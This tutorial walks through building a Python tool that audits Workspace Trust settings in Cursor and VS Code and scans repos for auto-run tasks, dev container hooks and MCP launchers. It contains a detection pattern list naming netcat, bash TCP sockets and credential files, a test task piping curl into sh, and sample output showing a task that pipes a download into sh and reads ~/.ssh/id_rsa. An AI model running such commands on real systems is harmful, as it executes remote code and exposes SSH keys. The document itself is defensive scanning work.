Cursor vs VS Code Trust Audit: 13 Steps, 45 Min [2026]

Open a freshly cloned repo in Cursor and a task from its .vscode/tasks.json file can start running before you have read a single line of code. That gap is the most practical difference in the Cursor vs VSCode debate, and most comparisons skip it. It comes down to one setting that the two editors have historically handled differently: Workspace Trust.

VS Code ships with Workspace Trust switched on, and a third-party security summary dated late October 2026 says Restricted Mode limits tasks, terminals, debugging and some extensions in untrusted folders. The Cursor security guides we reviewed describe the same feature as off by default. If that holds on your build, every folder you open counts as trusted from the first second. This tutorial shows you how to measure that on your own machine instead of taking anyone’s word for it.

You will build trustaudit, a single-file Python tool with no dependencies. It audits both editors’ user settings, scans your repos for folder-open automation, hardens your settings without wiping your comments, and runs a harmless canary test that proves what each editor does. Our earlier network audit of both editors covered what leaves your machine. This one covers what runs on it.

Google · Preferred Sources

Don't miss new tech stories on Google

Add Tech Insider once in the Google app and our stories appear in your news suggestions.

Add Now

Why Cursor vs VSCode Differ on Workspace Trust

Cursor is a fork of the VS Code codebase, so it inherits the same settings files, the same tasks.json format and the same trust machinery. The difference sits in the defaults and in the product pressure around them. VS Code introduced Workspace Trust in version 1.57 back in 2021, and Microsoft keeps it on because a code editor runs project-defined commands all the time. Cursor sells an agent that edits, runs and tests code the moment you open a project, so a Restricted Mode that blocks tasks and terminals fights its main feature.

That tension explains the reported behavior. Security researchers described a proof of concept in which a task marked with runOptions.runOn = "folderOpen" executed on open in Cursor without the normal trust prompt, and Cursor reportedly chose to keep the default because enabling trust restricts features its users expect to work immediately. We found no confirmed change to that default in the sources we reviewed, but the lack of a documented change is not proof that none exists. That is why the tutorial ends with a canary test rather than a claim.

Scale matters here. The Stack Overflow 2025 Developer Survey found that 75.9% of respondents used Visual Studio Code regularly and 18% used Cursor. Even at 18%, that is a very large pool of developers who clone unfamiliar repositories every week. A cloned repo is untrusted input. Treating it that way costs you one setting.

What each setting controls

Six settings decide most of the outcome. The hardened column shows the value the tool writes. The defaults for the VS Code side come from its documentation, and you should confirm them in the Settings UI of your own build, because we could only fully confirm the first one on a fetched page.

SettingWhat it controlsHardened value
security.workspace.trust.enabledMaster switch for Workspace Trust. When false, every folder is treated as trusted.true
security.workspace.trust.startupPromptHow often the trust dialog appears when you open a folder."always"
security.workspace.trust.untrustedFilesWhat happens when you open a loose file from an untrusted location."prompt"
security.workspace.trust.bannerWhether the Restricted Mode banner stays visible."always"
security.workspace.trust.emptyWindowWhether an empty window gets trusted automatically.false
task.allowAutomaticTasksWhether tasks marked folderOpen may start on their own."off"

Cursor accepts the same setting names. Extension availability also differs between the two editors, which is a separate trust question that our extension parity audit walks through.

Prerequisites and Versions

A fair Cursor vs VSCode security check needs less than most tutorials ask for. The tool uses only the Python standard library, so there is nothing to install and nothing that can break on a Friday afternoon.

  • Python 3.9 or newer. We built and tested on Python 3.12.3. The script uses from __future__ import annotations, so the type hints run on older interpreters too.
  • Visual Studio Code, current stable build. Version 1.141 or newer is a safe floor. One source we checked reports 1.143.1 as the newest release, dated October 22, 2026, but treat that as single-source and read the number from Help, About on your machine.
  • Cursor, current stable build. We could not confirm a newest Cursor desktop version number from official pages, so record yours from Cursor, About Cursor before you start.
  • A terminal. macOS, Linux and Windows all work. On Windows, use py -3 wherever this tutorial says python3.
  • Both editors installed at least once, so each has created its User settings folder. The tool handles a missing folder, but the canary test needs both editors.
  • Git (optional). Only the CI and pre-commit steps need it.
  • About 45 minutes, most of it spent on the canary experiment and reading your own repos’ findings.

Where each editor keeps its settings

OSVS Code user folderCursor user folder
Linux~/.config/Code/User~/.config/Cursor/User
macOS~/Library/Application Support/Code/User~/Library/Application Support/Cursor/User
Windows%APPDATA%\Code\User%APPDATA%\Cursor\User

Snap and Flatpak builds on Linux can store these files elsewhere. If the tool reports a missing file on a machine where you know settings exist, run Preferences: Open User Settings (JSON) from the Command Palette and read the path from the tab title.

What the Finished Audit Tool Does

The finished trustaudit.py runs 438 lines and exposes four commands. Each one answers a different question, and each exits with a code a CI job can read.

CommandQuestion it answersExit codes
settingsAre both editors’ user settings (including every profile) hardened?0 clean, 1 warnings, 2 a critical setting fails
scan PATHWhich repos under PATH contain folder-open tasks, dev container commands, workspace overrides or MCP launchers?0 clean, 1 findings, 2 a HIGH finding
hardenWhat would a safe settings block look like, and can you write it without losing comments?0
canary DIRDoes this editor actually run a folder-open task right now?0 blocked, 2 the task ran

If you already keep one set of AI rules for both editors, the one-repo shared rules setup makes a good companion. Rules files tell an agent what to do, while trust settings decide what the editor may run before any agent starts.

The design follows one rule: report first, change later. harden prints a dry run unless you add --apply, and it copies your settings file to a timestamped backup before it writes anything. The scanner never executes the files it reads. It parses them as data and scores the command strings with pattern matching.

Here is the project layout you will end with:

trustaudit/
  trustaudit.py          # the whole tool, standard library only
  test_trustaudit.py     # five unit tests
  demo/                  # sample repos used for the first scan
  canary/                # created by the canary command

Steps 1 to 4: Project Setup, Constants, JSONC Parser, Settings Audit

Step 1: Create the project folder

Make a working folder and confirm Python runs. Keep this folder outside any repo you plan to scan, so the scanner does not flag its own demo files later.

mkdir trustaudit && cd trustaudit
python3 --version
# expect: Python 3.9.x or newer (we used 3.12.3)
touch trustaudit.py test_trustaudit.py

Step 2: Define the settings, risk patterns and the Finding record

Start trustaudit.py with the constants. HARDENED is the target state, VSCODE_DEFAULTS holds the documented VS Code defaults, and CURSOR_ASSUMED deliberately assumes trust is off. That assumption is pessimistic on purpose. If your Cursor build ships with trust on, the audit will show an explicit user value after you harden it, and the canary test settles the argument either way.

#!/usr/bin/env python3
"""trustaudit: audit Workspace Trust and folder-open automation for VS Code and Cursor."""
from __future__ import annotations

import argparse
import json
import os
import platform
import re
import shutil
import sys
import time
from dataclasses import asdict, dataclass
from pathlib import Path

EDITOR_DIRS = {"vscode": "Code", "cursor": "Cursor"}
EDITOR_CLI = {"vscode": "code", "cursor": "cursor"}

# Documented VS Code defaults. Verify against Settings UI on your build.
VSCODE_DEFAULTS = {
    "security.workspace.trust.enabled": True,
    "security.workspace.trust.startupPrompt": "once",
    "security.workspace.trust.untrustedFiles": "prompt",
    "security.workspace.trust.banner": "untilDismissed",
    "security.workspace.trust.emptyWindow": True,
    "task.allowAutomaticTasks": "auto",
}
# Cursor reportedly ships with Workspace Trust off. Treated as an assumption, not a fact.
CURSOR_ASSUMED = dict(VSCODE_DEFAULTS, **{"security.workspace.trust.enabled": False})

HARDENED = {
    "security.workspace.trust.enabled": True,
    "security.workspace.trust.startupPrompt": "always",
    "security.workspace.trust.untrustedFiles": "prompt",
    "security.workspace.trust.banner": "always",
    "security.workspace.trust.emptyWindow": False,
    "task.allowAutomaticTasks": "off",
}
CRITICAL_KEYS = {"security.workspace.trust.enabled", "task.allowAutomaticTasks"}

RISKY = [
    (r"\b(curl|wget)\b[^\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "pipes a download into a shell", 5),
    (r"(?i)\b(powershell|pwsh)\b[^\n]*(-enc\b|-encodedcommand\b)", "encoded PowerShell", 5),
    (r"(?i)\bbase64\b[^\n]*(-d\b|--decode|-decode)", "base64 decode", 4),
    (r"/dev/tcp/", "bash TCP socket", 5),
    (r"\b(nc|ncat|netcat)\b", "netcat", 4),
    (r"\beval\b", "eval", 3),
    (r"(?i)\b(curl|wget|Invoke-WebRequest|iwr|irm)\b", "network fetch", 3),
    (r"(?i)(~/\.ssh|\.aws/credentials|\.npmrc|id_rsa|\.git-credentials)", "touches credentials", 4),
    (r"(?i)\b(crontab|launchctl|schtasks|systemctl\s+--user)\b", "persistence mechanism", 5),
    (r"(?i)\b(npm|pnpm|yarn)\s+(install|i|ci|add)\b|\bpip3?\s+install\b", "package install (lifecycle scripts)", 2),
    (r"(?i)\brm\s+-rf\b|Remove-Item[^\n]*-Recurse", "recursive delete", 3),
    (r"(?i)\.(sh|ps1|bat|cmd)\b", "runs a script file", 1),
]
DEVCONTAINER_KEYS = [
    "initializeCommand",
    "onCreateCommand",
    "updateContentCommand",
    "postCreateCommand",
    "postStartCommand",
    "postAttachCommand",
]
PRUNE = {".git", "node_modules", ".venv", "venv", "__pycache__", "dist", "build", "target", ".next"}
EXEC_SETTING = re.compile(r"(?i)(executablePath|interpreterPath|exePath|binPath|terminal\.integrated\.(shell|automationProfile))")


@dataclass
class Finding:
    severity: str
    kind: str
    path: str
    detail: str
    score: int = 0

The RISKY list is the scoring brain. Each pattern carries a weight, and the weights add up. A pipe from curl into a shell scores 5 on its own, while a bare script reference scores 1. The next table shows every rule so you can tune them to your team.

PatternLabel in outputWeight
curl or wget piped into sh, bash or zshpipes a download into a shell5
PowerShell with -enc or -EncodedCommandencoded PowerShell5
/dev/tcp/ socketbash TCP socket5
crontab, launchctl, schtasks, systemctl –userpersistence mechanism5
base64 with a decode flagbase64 decode4
nc, ncat, netcatnetcat4
~/.ssh, .aws/credentials, .npmrc, id_rsa, .git-credentialstouches credentials4
evaleval3
curl, wget, Invoke-WebRequest, iwr, irmnetwork fetch3
rm -rf or Remove-Item -Recurserecursive delete3
npm, pnpm or yarn install, pip installpackage install (lifecycle scripts)2
.sh, .ps1, .bat, .cmd file referenceruns a script file1

Severity comes from a base value plus the score. A folder-open task starts at 2, so even a harmless npm run watch lands at MEDIUM. A score of 5 or more total means HIGH. That is intentionally noisy, because an unreviewed auto-run task deserves a human glance.

Step 3: Parse settings files that contain comments

VS Code and Cursor store settings as JSONC, which allows comments and trailing commas. Python’s json module rejects both. The small state machine below strips them without touching text inside strings, which matters because a URL such as http://example.com contains a double slash.

def strip_jsonc(text: str) -> str:
    """Remove // and /* */ comments and trailing commas without touching string contents."""
    out: list[str] = []
    i, n, in_str = 0, len(text), False
    while i < n:
        c = text[i]
        if in_str:
            out.append(c)
            if c == "\\" and i + 1 < n:
                out.append(text[i + 1])
                i += 2
                continue
            if c == '"':
                in_str = False
            i += 1
            continue
        if c == '"':
            in_str = True
            out.append(c)
            i += 1
        elif text.startswith("//", i):
            while i < n and text[i] != "\n":
                i += 1
        elif text.startswith("/*", i):
            j = text.find("*/", i + 2)
            i = n if j == -1 else j + 2
        else:
            out.append(c)
            i += 1
    s = "".join(out)
    res: list[str] = []
    i, n, in_str = 0, len(s), False
    while i < n:
        c = s[i]
        if in_str:
            res.append(c)
            if c == "\\" and i + 1 < n:
                res.append(s[i + 1])
                i += 2
                continue
            if c == '"':
                in_str = False
            i += 1
            continue
        if c == '"':
            in_str = True
        if c == ",":
            j = i + 1
            while j < n and s[j] in " \t\r\n":
                j += 1
            if j < n and s[j] in "}]":
                i += 1
                continue
        res.append(c)
        i += 1
    return "".join(res)


def load_jsonc(path: Path):
    return json.loads(strip_jsonc(path.read_text(encoding="utf-8-sig")))

The function makes two passes. The first removes comments while tracking whether it sits inside a string. The second removes trailing commas using the same string tracking. A regex shortcut would corrupt any string that happens to contain , }, and the unit test in Step 11 checks exactly that case.

Step 4: Locate settings files and audit them

Now teach the tool where each editor keeps its files. It also looks inside the profiles folder, because both editors support settings profiles and the active profile can override your default file. Missing this folder is the most common reason an audit says “clean” while the editor behaves otherwise.

def user_dir(editor: str) -> Path:
    name = EDITOR_DIRS[editor]
    system = platform.system()
    if system == "Windows":
        return Path(os.environ.get("APPDATA", str(Path.home()))) / name / "User"
    if system == "Darwin":
        return Path.home() / "Library" / "Application Support" / name / "User"
    return Path(os.environ.get("XDG_CONFIG_HOME", str(Path.home() / ".config"))) / name / "User"


def settings_files(editor: str, base: Path | None = None) -> list[Path]:
    root = base or user_dir(editor)
    files = [root / "settings.json"]
    profiles = root / "profiles"
    if profiles.is_dir():
        files += sorted(profiles.glob("*/settings.json"))
    return files

The settings command compares the effective value (your value, or the default) with the hardened target. Two keys count as critical: the master switch and the automatic-task setting. A mismatch on those returns FAIL and exit code 2, while a mismatch elsewhere returns WARN.

def effective(editor: str, user_settings: dict) -> dict:
    base = VSCODE_DEFAULTS if editor == "vscode" else CURSOR_ASSUMED
    return {k: user_settings.get(k, base[k]) for k in HARDENED}


def cmd_settings(_args) -> int:
    worst = 0
    for editor in EDITOR_DIRS:
        cli = shutil.which(EDITOR_CLI[editor]) or "not on PATH"
        print(f"\n== {editor} (CLI: {cli})")
        for path in settings_files(editor):
            if not path.exists():
                print(f"  {path}  (missing, defaults apply)")
                user = {}
            else:
                try:
                    user = load_jsonc(path)
                except json.JSONDecodeError as exc:
                    print(f"  {path}  UNPARSABLE: {exc}")
                    worst = max(worst, 1)
                    continue
                print(f"  {path}")
            eff = effective(editor, user)
            print(f"  {'setting':<42}{'effective':<18}{'hardened':<10}status")
            for key, want in HARDENED.items():
                got, src = eff[key], ("user" if key in user else "default")
                ok = got == want
                status = "OK" if ok else ("FAIL" if key in CRITICAL_KEYS else "WARN")
                worst = max(worst, 0 if ok else 2 if status == "FAIL" else 1)
                print(f"  {key:<42}{json.dumps(got):<18}{json.dumps(want):<10}{status} ({src})")
    return worst

Steps 5 to 8: Scanners for Tasks, Dev Containers, Settings and MCP

Step 5: Find folder-open tasks and follow their dependencies

A task does not need to hold the dangerous command itself. It can declare dependsOn and hand the work to a second task that looks innocent in isolation. The scanner therefore collects the text of the whole dependency chain before it scores anything. It also reads the windows, linux and osx overrides, since an attacker can hide the real command in a platform block that your own OS never shows you at a glance.

def score_text(text: str) -> tuple[int, list[str]]:
    score, hits = 0, []
    for pattern, label, weight in RISKY:
        if re.search(pattern, text):
            score += weight
            hits.append(label)
    return score, hits


def severity(base: int, score: int) -> str:
    total = base + score
    return "HIGH" if total >= 5 else "MEDIUM" if total >= 2 else "LOW"


def flatten_commands(value) -> list[str]:
    if isinstance(value, str):
        return [value]
    if isinstance(value, list):
        return [s for v in value for s in flatten_commands(v)]
    if isinstance(value, dict):
        return [s for v in value.values() for s in flatten_commands(v)]
    return []


def task_text(task: dict) -> str:
    parts = flatten_commands(task.get("command", "")) + flatten_commands(task.get("args", []))
    for plat in ("windows", "linux", "osx"):
        sub = task.get(plat)
        if isinstance(sub, dict):
            parts += flatten_commands(sub.get("command", "")) + flatten_commands(sub.get("args", []))
    return " ".join(parts)


def depends_on(task: dict) -> list[str]:
    dep = task.get("dependsOn", [])
    dep = [dep] if isinstance(dep, (str, dict)) else dep
    return [d["task"] if isinstance(d, dict) else d for d in dep if d]


def scan_tasks(path: Path) -> list[Finding]:
    data = load_jsonc(path)
    tasks = data.get("tasks", []) if isinstance(data, dict) else []
    by_label = {t.get("label"): t for t in tasks if isinstance(t, dict)}
    found = []
    for t in tasks:
        if not isinstance(t, dict) or (t.get("runOptions") or {}).get("runOn") != "folderOpen":
            continue
        text, seen, queue = task_text(t), {t.get("label")}, depends_on(t)
        while queue:
            label = queue.pop()
            if label in seen or label not in by_label:
                continue
            seen.add(label)
            text += " " + task_text(by_label[label])
            queue += depends_on(by_label[label])
        score, hits = score_text(text)
        detail = f"task '{t.get('label')}' runs on folder open: {text.strip()[:90]}"
        if hits:
            detail += " [" + ", ".join(hits) + "]"
        found.append(Finding(severity(2, score), "folderOpen task", str(path), detail, score))
    return found

Notice the seen set. Without it, two tasks that depend on each other would send the loop around forever. Task files from the wild contain stranger things than that.

Step 6: Flag dev container lifecycle commands

Dev containers have their own auto-run hooks. Most of them run inside the container, but initializeCommand runs on your host machine before the container exists, so the scanner gives it a higher base score. Here you only need to know which commands fire without a click.

def scan_devcontainer(path: Path) -> list[Finding]:
    data = load_jsonc(path)
    found = []
    for key in DEVCONTAINER_KEYS:
        if key not in (data or {}):
            continue
        text = " ".join(flatten_commands(data[key]))
        score, hits = score_text(text)
        base = 3 if key == "initializeCommand" else 1
        where = "on your HOST" if key == "initializeCommand" else "in the container"
        detail = f"{key} runs {where}: {text.strip()[:90]}"
        if hits:
            detail += " [" + ", ".join(hits) + "]"
        found.append(Finding(severity(base, score), "devcontainer command", str(path), detail, score))
    return found

Step 7: Catch workspace settings that point at executables, and MCP launchers

Two more files can start processes. A workspace settings.json can point a language tool’s executablePath at a binary inside the repo. And an MCP config, whether .cursor/mcp.json or .vscode/mcp.json, defines commands the editor launches once you enable the server. The scanner reads the mcpServers key used by Cursor and the servers key used by VS Code. Cursor hooks follow the same pattern of project files that run commands for you, and our Cursor hooks extension tutorial shows how they work, so add them to your review list.

def scan_workspace_settings(path: Path) -> list[Finding]:
    data = load_jsonc(path)
    found = []
    for key, value in (data or {}).items():
        if key.startswith("security.workspace.trust") or key == "task.allowAutomaticTasks":
            found.append(Finding("MEDIUM", "trust override", str(path), f"workspace sets {key}={value!r}"))
        elif EXEC_SETTING.search(key) and isinstance(value, str) and (
            "${workspaceFolder}" in value or value.startswith(("./", "../", "."))
        ):
            found.append(Finding("MEDIUM", "workspace executable", str(path), f"{key} points inside the repo: {value}"))
    return found


def scan_mcp(path: Path) -> list[Finding]:
    data = load_jsonc(path)
    servers = (data or {}).get("mcpServers") or (data or {}).get("servers") or {}
    found = []
    for name, cfg in servers.items():
        if isinstance(cfg, dict) and cfg.get("command"):
            text = " ".join(flatten_commands([cfg.get("command"), cfg.get("args", [])]))
            score, hits = score_text(text)
            detail = f"MCP server '{name}' starts: {text.strip()[:90]}"
            if hits:
                detail += " [" + ", ".join(hits) + "]"
            found.append(Finding(severity(1, score), "MCP process", str(path), detail, score))
    return found

A workspace file that sets the trust settings themselves gets a MEDIUM finding. A repo has no business telling your editor how much to trust the repo.

Step 8: Walk a directory tree and print findings

The walker prunes folders such as node_modules and .git, limits depth to four levels by default, and dispatches each known file to its scanner. A parse failure becomes a LOW finding instead of a crash, so one broken file never hides the other hundred.

SCANNERS = {
    (".vscode", "tasks.json"): scan_tasks,
    (".vscode", "settings.json"): scan_workspace_settings,
    (".vscode", "mcp.json"): scan_mcp,
    (".cursor", "mcp.json"): scan_mcp,
    (".devcontainer", "devcontainer.json"): scan_devcontainer,
}


def scan_tree(root: Path, max_depth: int = 4) -> tuple[list[Finding], int]:
    findings, files = [], 0
    root = root.resolve()
    for dirpath, dirnames, filenames in os.walk(root):
        depth = len(Path(dirpath).relative_to(root).parts)
        dirnames[:] = [d for d in dirnames if d not in PRUNE and depth < max_depth]
        here = Path(dirpath)
        targets = [(SCANNERS.get((here.name, f)), here / f) for f in filenames]
        if ".devcontainer.json" in filenames:
            targets.append((scan_devcontainer, here / ".devcontainer.json"))
        for fn, full in targets:
            if fn is None:
                continue
            files += 1
            try:
                findings += fn(full)
            except (json.JSONDecodeError, OSError) as exc:
                findings.append(Finding("LOW", "unparsable", str(full), f"could not parse: {exc}"))
    order = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
    findings.sort(key=lambda f: (order[f.severity], f.path))
    return findings, files
def cmd_scan(args) -> int:
    findings, files = scan_tree(Path(args.path), args.max_depth)
    if args.json:
        print(json.dumps([asdict(f) for f in findings], indent=2))
    else:
        print(f"scanned {files} config files under {args.path}")
        for f in findings:
            print(f"[{f.severity:<6}] {f.kind:<20} {f.path}\n          {f.detail}")
        print(f"{len(findings)} finding(s)")
    if any(f.severity == "HIGH" for f in findings):
        return 2
    return 1 if findings else 0

Steps 9 and 10: Hardening Writer and the Canary Test

Step 9: Write hardened settings without destroying comments

The obvious way to edit settings is to load the JSON, change keys and dump it back. That deletes every comment you ever wrote. The writer below patches the text instead. It replaces a value in place when the key exists, or inserts the key right after the opening brace when it does not. It then re-parses the result as a safety check before touching the disk, and it saves a timestamped backup first.

def patch_settings_text(text: str, wanted: dict) -> str:
    for key, value in reversed(list(wanted.items())):
        pattern = re.compile(r'("' + re.escape(key) + r'"\s*:\s*)(true|false|"[^"\n]*")')
        if pattern.search(text):
            text = pattern.sub(lambda m: m.group(1) + json.dumps(value), text, count=1)
            continue
        head, _, rest = text.partition("{")
        comma = "," if strip_jsonc(rest).strip().rstrip("}").strip() else ""
        text = head + "{\n  " + json.dumps(key) + ": " + json.dumps(value) + comma + rest
    return text


def cmd_harden(args) -> int:
    editors = list(EDITOR_DIRS) if args.editor == "both" else [args.editor]
    for editor in editors:
        path = Path(args.settings_file) if args.settings_file else settings_files(editor)[0]
        old = path.read_text(encoding="utf-8-sig") if path.exists() else "{}\n"
        new = patch_settings_text(old, HARDENED)
        json.loads(strip_jsonc(new))
        if new == old:
            print(f"{editor}: already hardened ({path})")
            continue
        if not args.apply:
            print(f"{editor}: would update {path} (re-run with --apply)")
            continue
        path.parent.mkdir(parents=True, exist_ok=True)
        if path.exists():
            backup = path.with_name(f"{path.name}.bak-{time.strftime('%Y%m%d-%H%M%S')}")
            shutil.copy2(path, backup)
            print(f"{editor}: backup {backup}")
        path.write_text(new, encoding="utf-8")
        print(f"{editor}: hardened {path}")
    return 0

Inserting at the top of the object keeps the result valid whether the file holds ten keys or none. The function adds a comma only when something follows. If you manage settings across several machines, the settings sync walkthrough for Cursor and VS Code shows how to push one hardened block everywhere.

Step 10: Build a harmless canary

A canary is a repo whose only job is to prove a behavior. This one holds a single folder-open task that writes the word canary-ran into a text file. It reads nothing, sends nothing and deletes nothing. If that file exists after you open the folder, the editor ran the task without stopping you.

CANARY_TASKS = {
    "version": "2.0.0",
    "tasks": [
        {
            "label": "trustaudit-canary",
            "type": "shell",
            "command": "echo canary-ran > CANARY_RAN.txt",
            "options": {"cwd": "${workspaceFolder}"},
            "runOptions": {"runOn": "folderOpen"},
            "problemMatcher": [],
        }
    ],
}


def cmd_canary(args) -> int:
    root = Path(args.dir)
    marker = root / "CANARY_RAN.txt"
    if args.check:
        if marker.exists():
            print(f"RAN: {marker} exists, the folder-open task executed in that editor")
            return 2
        print("NOT RAN: no marker file, the task was blocked or never started")
        return 0
    if args.reset:
        marker.unlink(missing_ok=True)
        print("marker removed")
        return 0
    (root / ".vscode").mkdir(parents=True, exist_ok=True)
    (root / ".vscode" / "tasks.json").write_text(json.dumps(CANARY_TASKS, indent=2) + "\n", encoding="utf-8")
    marker.unlink(missing_ok=True)
    print(f"canary repo ready: {root}\nopen it in one editor, wait 10 seconds, then run: trustaudit.py canary {root} --check")
    return 0

Use the --check flag after each test and --reset before the next one. The check exits with code 2 when the task ran, so you can drop it into a script.

Steps 11 to 13: CLI, First Run and CI Gate

Step 11: Wire up the command line and add tests

The entry point registers the four sub-commands. Both harden and settings work from the terminal without opening an editor, which also means they work over SSH and inside CI. If you prefer to drive each editor from a shell, our guide to the Cursor and VS Code command-line interfaces covers both.

def main(argv=None) -> int:
    p = argparse.ArgumentParser(description=__doc__)
    sub = p.add_subparsers(dest="cmd", required=True)
    sub.add_parser("settings", help="audit user settings for both editors").set_defaults(fn=cmd_settings)
    s = sub.add_parser("scan", help="scan repos for folder-open automation")
    s.add_argument("path")
    s.add_argument("--max-depth", type=int, default=4)
    s.add_argument("--json", action="store_true")
    s.set_defaults(fn=cmd_scan)
    h = sub.add_parser("harden", help="write hardened trust settings")
    h.add_argument("--editor", choices=["vscode", "cursor", "both"], default="both")
    h.add_argument("--settings-file")
    h.add_argument("--apply", action="store_true")
    h.set_defaults(fn=cmd_harden)
    c = sub.add_parser("canary", help="create or check the harmless canary repo")
    c.add_argument("dir")
    c.add_argument("--check", action="store_true")
    c.add_argument("--reset", action="store_true")
    c.set_defaults(fn=cmd_canary)
    args = p.parse_args(argv)
    return args.fn(args)


if __name__ == "__main__":
    sys.exit(main())

Then add the five unit tests. They cover comment stripping with tricky strings, a folder-open task whose danger hides in a dependency, a manual task that must not be flagged, comment preservation in the patcher, and the Cursor assumption.

import json
from pathlib import Path
import trustaudit as t

def test_strip_jsonc_keeps_urls_and_commas_in_strings():
    src = '{ // c\n "u": "http://a.b/*x*/, }", /* k */ "n": [1,2,], }'
    assert json.loads(t.strip_jsonc(src)) == {"u": "http://a.b/*x*/, }", "n": [1, 2]}

def test_folder_open_task_flagged_with_dependency(tmp_path: Path):
    d = tmp_path / ".vscode"; d.mkdir()
    (d / "tasks.json").write_text(json.dumps({"tasks": [
        {"label": "a", "command": "echo ok", "runOptions": {"runOn": "folderOpen"}, "dependsOn": "b"},
        {"label": "b", "command": "curl http://x | sh"}]}))
    f, n = t.scan_tree(tmp_path)
    assert n == 1 and f[0].severity == "HIGH"

def test_manual_task_ignored(tmp_path: Path):
    d = tmp_path / ".vscode"; d.mkdir()
    (d / "tasks.json").write_text(json.dumps({"tasks": [{"label": "a", "command": "ls"}]}))
    assert t.scan_tree(tmp_path)[0] == []

def test_patch_settings_preserves_comments():
    old = '{\n  // keep me\n  "task.allowAutomaticTasks": "auto",\n  "editor.fontSize": 14\n}\n'
    new = t.patch_settings_text(old, t.HARDENED)
    assert "// keep me" in new
    data = json.loads(t.strip_jsonc(new))
    assert data["task.allowAutomaticTasks"] == "off" and data["security.workspace.trust.enabled"] is True
    assert data["editor.fontSize"] == 14

def test_cursor_assumed_off():
    assert t.effective("cursor", {})["security.workspace.trust.enabled"] is False
    assert t.effective("vscode", {})["security.workspace.trust.enabled"] is True

Run them with python3 -m pytest -q if you have pytest. The standard library alone also works: import the module and call each test_ function, passing a temporary folder where the signature asks for one.

Step 12: Run the first audit and the canary experiment

Start with the user settings. The sample below comes from a test machine where the VS Code file already set task.allowAutomaticTasks to "auto" and the Cursor file did not exist.

python3 trustaudit.py settings


== vscode (CLI: not on PATH)
  ~/.config/Code/User/settings.json
  setting                                   effective         hardened  status
  security.workspace.trust.enabled          true              true      OK (default)
  security.workspace.trust.startupPrompt    "once"            "always"  WARN (default)
  security.workspace.trust.untrustedFiles   "prompt"          "prompt"  OK (default)
  security.workspace.trust.banner           "untilDismissed"  "always"  WARN (default)
  security.workspace.trust.emptyWindow      true              false     WARN (default)
  task.allowAutomaticTasks                  "auto"            "off"     FAIL (user)

== cursor (CLI: not on PATH)
  ~/.config/Cursor/User/settings.json  (missing, defaults apply)
  setting                                   effective         hardened  status
  security.workspace.trust.enabled          false             true      FAIL (default)
  security.workspace.trust.startupPrompt    "once"            "always"  WARN (default)
  security.workspace.trust.untrustedFiles   "prompt"          "prompt"  OK (default)
  security.workspace.trust.banner           "untilDismissed"  "always"  WARN (default)
  security.workspace.trust.emptyWindow      true              false     WARN (default)
  task.allowAutomaticTasks                  "auto"            "off"     FAIL (default)

Now run the dry run, apply it, and audit again. The backup line proves the original file survived.

python3 trustaudit.py harden
vscode: would update ~/.config/Code/User/settings.json (re-run with --apply)
cursor: would update ~/.config/Cursor/User/settings.json (re-run with --apply)

python3 trustaudit.py harden --apply
vscode: backup ~/.config/Code/User/settings.json.bak-20261028-103000
vscode: hardened ~/.config/Code/User/settings.json
cursor: hardened ~/.config/Cursor/User/settings.json

Next, scan a folder of repos. The sample folder holds a benign watcher, a hostile-looking repo and an MCP config. Point the tool at your real projects folder when you are ready.

python3 trustaudit.py scan demo

scanned 5 config files under demo
[HIGH  ] folderOpen task      ~/trustaudit/demo/sketchy-repo/.vscode/tasks.json
          task 'setup' runs on folder open: curl -s https://example.invalid/i.sh | sh cat ~/.ssh/id_rsa [pipes a download into a shell, network fetch, touches credentials, runs a script file]
[MEDIUM] folderOpen task      ~/trustaudit/demo/benign-app/.vscode/tasks.json
          task 'watch' runs on folder open: npm run watch
[MEDIUM] devcontainer command ~/trustaudit/demo/sketchy-repo/.devcontainer/devcontainer.json
          initializeCommand runs on your HOST: echo hi && ./scripts/host-setup.sh [runs a script file]
[MEDIUM] devcontainer command ~/trustaudit/demo/sketchy-repo/.devcontainer/devcontainer.json
          postCreateCommand runs in the container: npm ci [package install (lifecycle scripts)]
[MEDIUM] trust override       ~/trustaudit/demo/sketchy-repo/.vscode/settings.json
          workspace sets task.allowAutomaticTasks='on'
[MEDIUM] workspace executable ~/trustaudit/demo/sketchy-repo/.vscode/settings.json
          php.validate.executablePath points inside the repo: ./bin/php
[LOW   ] MCP process          ~/trustaudit/demo/mcp-repo/.cursor/mcp.json
          MCP server 'files' starts: npx -y @modelcontextprotocol/server-filesystem .
7 finding(s)

Finally, run the canary experiment. Do it once per editor, and do it before you harden, so you see the default behavior. Then repeat after hardening to see the difference.

  1. Create the canary: python3 trustaudit.py canary canary
  2. Open the canary folder in VS Code. If a trust dialog appears, choose No, I don’t trust the authors. Wait 10 seconds. If an “allow automatic tasks” prompt appears, decline it.
  3. Check: python3 trustaudit.py canary canary --check. Record the result.
  4. Reset: python3 trustaudit.py canary canary --reset. Close the window.
  5. Repeat steps 2 to 4 in Cursor. If no dialog appears at all, that tells you the trust prompt is not firing.
  6. Run harden --apply, restart both editors, and repeat the whole experiment.

The tool returns one of two lines. In a Cursor vs VSCode test, the two editors may give different answers, and your results may differ from other people’s because your build, your profile and your earlier “trust this folder” clicks all feed into the answer.

NOT RAN: no marker file, the task was blocked or never started
RAN: canary-demo/CANARY_RAN.txt exists, the folder-open task executed in that editor

Step 13: Add a CI gate and a pre-commit hook

Scanning your own repos catches mistakes before a teammate opens them. The workflow below fails the build only on HIGH findings (exit code 2), which keeps it quiet for a team that deliberately ships a npm run watch task.

name: trustaudit
on:
  pull_request:
    paths:
      - ".vscode/**"
      - ".cursor/**"
      - ".devcontainer/**"
      - ".devcontainer.json"
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - name: Scan editor automation
        run: |
          python3 tools/trustaudit.py scan . --json > trustaudit.json || code=$?
          cat trustaudit.json
          if [ "${code:-0}" -ge 2 ]; then exit 1; fi

For a local guard, add a Git pre-commit hook. It blocks a commit that touches editor config files when the scan reports HIGH.

#!/bin/sh
# .git/hooks/pre-commit  (chmod +x)
if git diff --cached --name-only | grep -E '^\.(vscode|cursor|devcontainer)' >/dev/null; then
  python3 tools/trustaudit.py scan . >/dev/null
  if [ $? -ge 2 ]; then
    echo "trustaudit: HIGH finding in editor config, commit blocked"
    exit 1
  fi
fi

Expected Output and How to Read It

Read the scan output top to bottom, because findings sort by severity and then path. The first block in the sample run is the one that matters.

